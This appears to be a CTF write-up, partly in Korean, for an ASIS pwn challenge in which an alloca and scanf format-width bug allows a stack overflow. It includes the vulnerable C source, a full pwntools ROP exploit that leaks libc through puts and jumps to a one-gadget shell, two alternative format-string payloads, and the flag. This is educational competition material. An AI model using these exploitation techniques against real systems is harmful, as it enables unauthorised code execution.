Info
(87/532) solves
description
Is it possible to scan the thousands of resulting strings by hand? We think it’s tedious, but will get the job done!
for player
1 2 3 4 5 6 7 8 9
| . ├── bin │ └── chall ├── lib │ ├── ld-2.31.so │ └── libc.so.6 ├── run.sh └── src └── main.c
|
Analysis
Mitigation
1 2 3 4 5
| Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
|
Source Code
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| #include <ctype.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h>
int main() { char size[16], fmt[8], *buf;
printf("size: "); scanf("%15s", size); if (!isdigit(*size)) { puts("[-] Invalid number"); return 1; }
buf = (char*)alloca(atoi(size) + 1);
printf("data: "); snprintf(fmt, sizeof(fmt), "%%%ss", size); scanf(fmt, buf);
return 0; }
__attribute__((constructor)) void setup(void) { setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL); alarm(180); }
|
alloca
함수는 스택에 메모리를 할당하는 함수이다.
Vulnerability
포맷스트링 인자를 마음대로 줄 수 있으니 입력으로 0을 넣으면 stack overflow를 트리거할 수 있다.
same as
Exploit
Exploit Scenario
%0s
포맷스트링으로 overflow 트리거
- 원가젯
Exploit Code
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| from pwn import *
p = remote('65.21.255.31', 13370) e = ELF('./chall') libc = ELF('./../lib/libc.so.6')
pop_rdi = 0x0000000000401433
p.sendlineafter('size:', str(0))
payload = b'' payload += b'A' * 72 payload += p64(pop_rdi) payload += p64(e.got['puts']) payload += p64(e.symbols['puts']) payload += p64(e.symbols['main'])
p.sendlineafter('data:', payload)
leak = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) log.info(hex(leak))
libc_base = leak - libc.symbols['puts'] log.info(hex(libc_base))
p.sendlineafter('size:', str(0))
payload = b'' payload += b'A' * 72 payload += p64(libc_base + 0xe3b01)
p.sendlineafter('data:', payload)
p.interactive()
|
Another Solve
1. Using FSB
1
| p.sendlineafter('size:', b'1$999')
|
1 2 3 4 5
| __isoc99_scanf@plt ( $rdi = 0x007ffe3b4d0ac8 → 0x73393939243125 ("%1$999s"?), $rsi = 0x007ffe3b4d0ab0 → 0x0000000000000005, $rdx = 0x007ffe3b4d0ab0 → 0x0000000000000005 )
|
Maybe.. I think this solution is intention.
2. Using rsi == rdx
1 2 3 4 5 6 7 8 9 10 11
| p.sendlineafter('size:', b'1s%')
payload = b'' payload += b'B' payload += b'A' * 72 payload += p64(pop_rdi) payload += p64(e.got['puts']) payload += p64(e.symbols['puts']) payload += p64(e.symbols['main'])
p.sendlineafter('data:', payload)
|
1 2 3 4 5
| __isoc99_scanf@plt ( $rdi = 0x007ffe99d75878 → 0x00007325733125 ("%1s%s"?), $rsi = 0x007ffe99d75860 → 0x0000000000000005, $rdx = 0x007ffe99d75860 → 0x0000000000000005 )
|
Flag
1
| ASIS{06e5ff13b438f5d6626a97758fddde3e502fe3fc}
|